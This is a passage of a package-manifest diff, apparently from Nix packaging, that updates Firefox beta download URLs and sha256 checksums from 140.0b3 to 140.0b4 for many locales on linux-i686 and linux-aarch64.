+      sha256 = "055076bedecfbf77818bc70c0d69b6deacc4ac9f015bc419738b1dfbb499e6ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "0f2421d1617932b5a17c158ca04b01e820c2adb6c7eda9d6f54e7b22e99ded02";
+      sha256 = "72856c1bfacaf66461ea1cef6cbe5481787751674e6a79b89997aaa23880ab52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "654864b81f5abf3518f67787d5d9e404e3d5462953916649f3ada78f5ec8e3ab";
+      sha256 = "366b072e83d350147ef916e8386db402e0dd2ac0d086d7b1242f8dfd91c00cc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "e7b42884848ddf9b32783020eb41c6e616c46a7b4b46bd1e2d32c99c78842bac";
+      sha256 = "3d4a4fea98df1c0013371f96db1e95d3b8266a5a773cb2ecc4f58ab7d4522c27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "d82fb6ce158e37cbd74971d6a9cfe6c57004614c3f406f817f342c1f523b6c2a";
+      sha256 = "195ebd91159fc04d11a34801d7b0871b5b998f401e8c4e3cc516113bf067b7c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "028c133c6823549f499b1a079d07052c50f890c5f431412e856e6e9b52fa6797";
+      sha256 = "95431dd518de2fe5a679e8635f6e3cdfa3ae99d7b42eb93ef8591b6bb5ee0d1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "8e7eea05f48a536dab3b6924dada5d4f0fa11ccf6a691d993f84ffbb0dd8e8ad";
+      sha256 = "5cc49bda64618b9e07ad9d1b6af8625bc3a7ca158467ec880836bd20a2a08dbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "e5c40fb83fc68718a38411bf8dd17172546c89328e8a352b6aa4ad81d8946963";
+      sha256 = "f6d2d95427f8eb184d600b101e0bd3ab78580f837765eee297c022cd2e603433";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "b2ca1cc8d20926557240946aa9ca432c1b24162d8c26be088f95c98a0e2a2697";
+      sha256 = "f5ef3477f4fdd8708908b2cf41486c0083ee9724d6f313cb28f24abf3f26a156";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "8a3d7b4669dae9648ac2f06a03781578f6803a241fbc5183499fa18a29f46fac";
+      sha256 = "f41f2fdd0d2cdfb76eb440e8ea7756368ddc4285736bfe604c65b03df42061ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "a65218675b9e62e2a2e72c8bd7a3a78a56cab0ce91426f623b6e6afdea1a04df";
+      sha256 = "815ea87b2552b0c6093bf6dbaec6dfc660d3625f44f2bf042b5869e42c23e25e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/th/firefox-140.0b4.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "9ddb3cae1f4d999d1a7840e019867f1554995cc8bef0a1aa8ac90ba547972722";
+      sha256 = "a58b8c1730cd066c5dfc26e8d2d4d3b6557a72a0c680e4163c43279c671c5ec4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "a1455aec73754985d65d7b28ffe2897ee9bbde55506fd6d9772277b5346f4092";
+      sha256 = "817db84221e7361a7c932d0880c6e82aa7a64552931e015c4c4694c1ab9ea253";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "9fbfd677f9a807daba18eb008a183fdf63cad7d42f42cf10311593ccf1e4af93";
+      sha256 = "909252098ca36f93de56732fd0762fdd041657559d42a7200c821115b38980aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "57a19f4b076bf14db8a83e96559c937e7e848d95621aebc04f8009d614312bfb";
+      sha256 = "e1c4ad015d1e3565c4435e769bc59d5bff953f719123a330f8e37c43833881a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "ce745304c9068082289893584e10855f022e0b55b974088cd4d2f2d177e949a7";
+      sha256 = "0e31db03a117def0867bcf5d3e1acc7ebaff9daf4325cf3be548e72bb09057e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "b5fa6ae252d2a39f002d9f61bfca5f4c44322f134f82f6d75736197207ac93ba";
+      sha256 = "63ef448ad869a987cb0e7756f25e81e7d1c6bc083048e7eb49dbf5100626879c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "d17c250ae08b958bf0c9a3be3953133af69e88855c38dabd5a1f9281ae675b93";
+      sha256 = "77d9943bb83a8b1b42f448b0e3e0c3cee11a1ea0bb1dae18ba52c52ed5a7d7df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "45ba1505cc8b64e55ad518c1138e115c7f01c9572a13c2dd07970a479005cd39";
+      sha256 = "c47d720da1f5aeae9d8429ed71f1044275888751a0c217a6a534e61e9f4dfdec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "bc0aea632a700251fbd0359f8fef1b152a86fcad15707b4fb4bcb055c7755c50";
+      sha256 = "8f4530d50019aeedf2d059135acc6ed42147f86d98ee7defaee5ae2d826c4821";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "4f31a97f9a0eb5677de689c839e61989d40856244d5239707378e5e01fcf0ea6";
+      sha256 = "59f60c919eb0d331166eeb9d76449c0a57593e82061a9d3319d680253ecaa503";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "cd397ce84153a60c04457fef2edd31b648eb71476598aca12ff59ddd4f09fe7b";
+      sha256 = "c6c71d581e46b18e48fa76699835ae7bdbb11033366674f9e1d2be0cfcab80bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "ca1d393c3f6d8f0b483256bb4dcbbfd87c3e73320acd272125db6a252d225690";
+      sha256 = "241018608d47cb0d022e323e968922b082acd7064b3ca8e7bafe665ff23c9b3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "904ce80c145a1d3230081bd7883d2c5e57ed02660b2404bfce3943df0561104f";
+      sha256 = "f8ae5994e39898cf2611db052640f7eff4425c5c7d94107491173f900245df32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "a994667975cc8c14d5b768d238a151506e9c9a2bdf6dafa73feba9e43aeab57c";
+      sha256 = "4a18c94a3ec5544664a89c9cedd5e25c5b15ff41cce68890a7f2036a720c9b1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "2a9798d1ef0a04664ab9c2683f7fd509c4da5d8129d769c781077c6d45dcc37e";
+      sha256 = "3478f78815017cb30bff0946399ddddd15f90a739213c4e54f8e09602c76df83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "e862943c675f5853709fdf1ca14d2ac28cf732d90d782bd9bada809556f1b654";
+      sha256 = "fec697046bdc9c5edfda4ab3f6df1df84819a3ea7b46250f20722b05ea356dc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "c3e0a2cc6ae0646a5c7497e96b7b47947354f984ba733672fa38a7c14eed8856";
+      sha256 = "78a68fba1f9dfec4510bb2cd493d82fcac31801bb7bb5718f8afeb57940870c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "bd197bc761ba7d16d74ec1eb11f6eb0ea6122919ffba3a775690e3db029e471e";
+      sha256 = "8e27d99cdad038331140386da3749f2c85afd5cffdf8afdf9b35a735027a690d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "6dacd9985823ce3ae329eac3fc97530fa405737cac7115a3b56ec6a0db04cfb7";
+      sha256 = "fa1e2d472ace070d1dc8beabf7cddf85b571957c453ccf8cd08ea14ee213761a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "22e0bf169370241de826f2f882c987f01e5cee823dc303d0122e04a210d2b781";
+      sha256 = "bf8b652eef9f6fe89adf3cab9639b59cd2ce5009c31f690923a09ae399b68570";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "d3e532791588565ca5aa5dd892cb72298c34efd9a9d07e3b2e89c5df23d41fe6";
+      sha256 = "fa245862a996f8023b25035e2176e54047af8d333912a89be7faca81908a4604";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "9358ea0b92e59d528873a99bc452bd30c88a2943d23edcd71d47c3dd5521313e";
+      sha256 = "34976543a5bc5d9558d8e725391b22805dcf8b8797cf6a54701cee7328106550";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "133b4c9ec4c86a88203c251a5c54e312024d5def03e60e75c80ddbf7868fffaa";
+      sha256 = "8a9a04837e328286f8128f9b744d274d98f7db5762c244f9294e0f9fe7766731";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "b4a6e4975dd731eff8f7a70f1b9fbfc33dcc53f76efa3061232df7b0270f803a";
+      sha256 = "384a1314de0b0c566fdfe39c2a74905f972a624fa434359dd6914e7224d95641";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "9c647560a9a1f5012002cdf619f50e10c8f16b8e03e37d34a2aa312f714f9ae2";
+      sha256 = "ffd23426e799190a55d6e2db09f3ab1ad9512a8fdf11a065ced8eda4715198c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "5b81394b51d29a85677439bf4f91794b1daf5b878e920d1c0e6913fdb8c3fd73";
+      sha256 = "779085fadd246044b587c08ff4ed2397215a97b0d0ca4a5a3df70142bf75e43a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "f0e9b6ab15dfeba4e41ac3e540c02917d8b30213fe2a5fa234a43a9bf9580d33";
+      sha256 = "be7161a550b8698b20cc2a5005a0c6656a10ae2685c5ad52d5133da4d7812f76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "fcad12e84319527cfc25f53192cdfadf51703ae1ab721f05c5f70817586f0626";
+      sha256 = "2f524f76f90fca51a39a3d8c574c50aaf7cef68e276431966ca616c40212a964";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "805b6c414e6a56ff4fcb3d2fff4cb2ff62105e1f3c5476ea61981916111652bd";
+      sha256 = "8ebe0cdd840bc6ef9e3f2a5801a6308d35d265ca32eeb54db6ae863216a10b5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/dsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "d9a0dc6db5f1a21ef94101b6ddf1e1c644d88f639b9cf1f4baf3d82759914b61";
+      sha256 = "72b2c42048b933c29410db5ab1cf3b83f1b9d89a5b1130777598bc8572437bac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "109873f011ac29c4bdc78f27e8a13541aa1b11175b29401197ed3d3512dec72f";
+      sha256 = "138e9495ccf965c528ad0c2482b11557c6ff0ab4723332bbdd37bd2ce1afbe72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "ab9ed750e684fd405ac3a797e4fb60ead2c64c39aa53d6742e0259930d371adb";
+      sha256 = "fe569caab44348927473fcca363e859f3ac3ba1eff752abd9978e9e0cccc397d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "c7c9bc00cb6cfe8dc9c4875b049a13d0655c00a3ff171c5647f5bedef107e7ea";
+      sha256 = "c069247ef7744b71547ba952b2d332563bb0bed5ee4c33a5bab20c8f0b71156e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "39261cfe396d7359aebaf6b5f3becd3bdb5c43b292869f544a88e801443c9efb";
+      sha256 = "e91834ae34ef10d436a22795b4d5716df01a31c83fdefd8cf22a62deb4dc26c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "75179c336ad589676d93d8dd6daa084c82573a621e69e3e8cbd09679c5f00755";
+      sha256 = "b2626c8d82f90f958e39c6fc8fdd11e0e477e54c0fa770b8642ea4eacc5c145e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "88ca0c23ae377fbea842073192f89fcbe2319ff4944ade3311c722370c166aa1";
+      sha256 = "20bbd71dda6392b8e296d36f27be410e2bb831bccad9a6eb520b3ef3a8eadf2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "32b6911754837cb979fec837168963f25590d19adc87ca84c3ee0634bc1797a8";
+      sha256 = "47492d04205be6c535209513f64b9c0896a3a786c5af3e87add57425e95d2a04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "ae81dada372a60bdfa0f6c48a988c42f23165e1d1c8cee3c7958c95b64c87d2a";
+      sha256 = "f1504517f6e874ae5c73cc73fda5763b692d403be5b2d6a3c5fdebca847dd044";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "c8171810252614f5cbc162b5f4dfe3afd897a8d9beec4978126909bad3f76bea";
+      sha256 = "9e8fae58eebc5fd0fc212ed66ed63add5408730de3b360020ea39ee3c67e70a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "76fd0607c61228898b9568987523b4a8e1f5a3b15a4b2859296c0e23c4e59585";
+      sha256 = "c9256db0e31b1d836cb4ad7d45c9289d45dc05853a0883071103b581743645b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "16205f39cffe37ce480d45e17d266c4bbc3ab1844ce2ea2e04485ddfcb647120";
+      sha256 = "a85b68a93d51c3c42343a7038ac72d4ee3b0847aee312a3f720899abc3b30961";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "36b1c98577255d88e2f7b01c88cdb1414b2016fa520aae459b66aa47b10f8996";
+      sha256 = "44ee01aa1e8c1ef973cdb2b28916635fef9bb81a7dbb7e735e055aac02f65007";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "2988f2897ef2c643cdfcd79dce0c126c24fccf6e9810aa58776d91a1baf1b453";
+      sha256 = "0dc1f2c9223adfbff26376aa55fa858ea89e04fcb4f3326b115bc6f9cd0f1791";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "c8dd76d403209b965f430d3251df3fe9800535074f3ed1c8d1ec3c49a0ef92ea";
+      sha256 = "43c5253851fc94038a7b8c922660651f43484d70cc54d22dc0f521fb978e76b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "7d43f4e963244761ce06e827776dc3037060457f15d806d248e406222b732d03";
+      sha256 = "eaed4f0100d898555c1f2bfab43592648342b9be1a712602c43929a77f61f67c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "75fa230906c272d17bccc003d3bd605a16ac21825812a964c78ca6e839365447";
+      sha256 = "e74ce591b238c6a6754180aaf8eec4701206c84204b2792e505d3b065235be10";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "7b40e7c98e5bca1e7a503303d6d47160243bfc81991301c401da056f506469cc";
+      sha256 = "15309be99c0df4c8bf23ac5387e8ba6c15b2051e54a331a943c4cc54959e645f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "c2fea5545eb58658a6c3e8ef751b1c18372edb052bb66694b13f09fa0044fe1e";
+      sha256 = "0b7d2969509f650aa4e725d38022ec61633e89d5b325075be3eb97649abf58f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-aarch64/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "d8894d4118e625b7ed8125621e58b561657f03915a7e4acc464c06e2c948f043";
+      sha256 = "9f28a60ecd9e6eee111df4b57b437739a77a55276d9fb66d2191c4fb0a0b9886";
     }
     {
